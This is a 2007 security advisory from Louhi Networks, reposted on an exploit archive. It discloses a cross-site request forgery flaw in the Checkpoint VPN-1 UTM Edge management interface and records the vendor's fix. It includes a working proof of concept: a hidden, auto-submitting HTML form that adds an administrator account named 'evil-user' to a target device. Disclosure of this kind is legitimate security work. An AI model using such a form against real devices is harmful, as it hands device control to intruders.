exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

checkpoint-csrf.txt

checkpoint-csrf.txt
Posted Jun 29, 2007
Authored by Jussi Vuokko, Henri Lindberg | Site louhi.fi

Checkpoint VPN-1 UTM Edge suffers from a cross site request forgery vulnerability. Proof of concept included.

tags | exploit, proof of concept, csrf
SHA-256 | a3f09b1de8fc13110d56e12718c75492ea421af6481e32ffefd5cc94a58fc4bb

checkpoint-csrf.txt

Change Mirror Download
                          Louhi Networks Oy
-= Security Advisory =-


Advisory: Checkpoint VPN-1 UTM Edge Cross Site Request Forgery
Release Date: 2007/06/26
Last Modified: 2007/06/26
Authors: Henri Lindberg, Associate of (ISC)² [henri.lindberg@louhi.fi]
Jussi Vuokko, CISSP [jussi.vuokko@louhi.fi]

Application: Checkpoint VPN-1 Edge X Embedded NGX 7.0.33x
(Other versions of the same software might be affected.)
Devices: Checkpoint VPN-1 UTM Edge
Severity: Cross site request forgery in management interface
Risk: Moderate
Vendor Status: Vendor has released an updated version
References: http://www.louhi.fi/advisory/checkpoint_070626.txt


Overview:

Quote from http://www.checkpoint.com/
"VPN-1 UTM Edge appliances deliver unified threat management to
enterprises with branch offices and simplify security deployments
and manageability. VPN-1 UTM Edge appliances consolidate proven
enterprise-class technology into a single branch office solution
that does not compromise the corporate network and eliminates the
branch office as your weakest link. As part of Check Point's Unified
Security Architecture, VPN-1 UTM Edge can enforce a global security
policy and allows administrators to manage and update thousands of
appliances as easily as managing one."

During an audit of VPN-1 UTM Edge it was discovered that a cross site
request forgery vulnerability exists in the management interface.
Thus, it is possible for an attacker to perform any administrative
actions in the management interface. These include e.g. adding
additional admin users.


Details:

Checkpoint VPN-1 Edge Embedded device management interface does not
validate the origin of an HTTP request. If attacker is able to make
user visit a hostile web page, a VPN-1 Edge device can be controlled
by submitting suitable forms. It is possible to add new users for
example.

Successful attack requires that the attacker knows the management
interface address for the target device. As the management interface
does not have logout functionality, user can be vulnerable to this
attack even after closing a tab containing the management interface
(if user does not close the browser window or clear cookies and
depending on browser behaviour).


Proof of Concept:

Example form (adds new read-only administrator):

<html>
<body onload="document.CSRF.submit()">
<form name="CSRF" method="post"
action="https://fw.example.com/pop/WizU.html "style="display:none">

<input name="swstate" value="WizU1">
<input name="swtosave" value="1">
<input name="swback" value="0">
<input name="swindex" value="-1">
<input name="swuuser" value="evil-user">
<input name="swupass" value="password">
<input name="swuexp" value="0">
<input name="swuday" value="4">
<input name="swumonth" value="5">
<input name="swuyear" value="2008">
<input name="swuhour" value="03">
<input name="swumin" value="11">
<input name="swuampm" value="1">
<input name="swuacc" value="1">
<input name="swuvpn" value="0">
<input name="swuufp" value="0">
<input name="swuhot" value="0">
<input name="tacc" value="1">

</form>
</body>
</html>


Workaround:

Update to new version.

More information

http://en.wikipedia.org/wiki/Cross-site_request_forgery

Disclosure Timeline:

7. June 2007 - Contacted Checkpoint by email
26. June 2007 - Vendor released an updated version
26. June 2007 - Advisory was released


Copyright 2007 Louhi Networks Oy. All rights reserved.
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close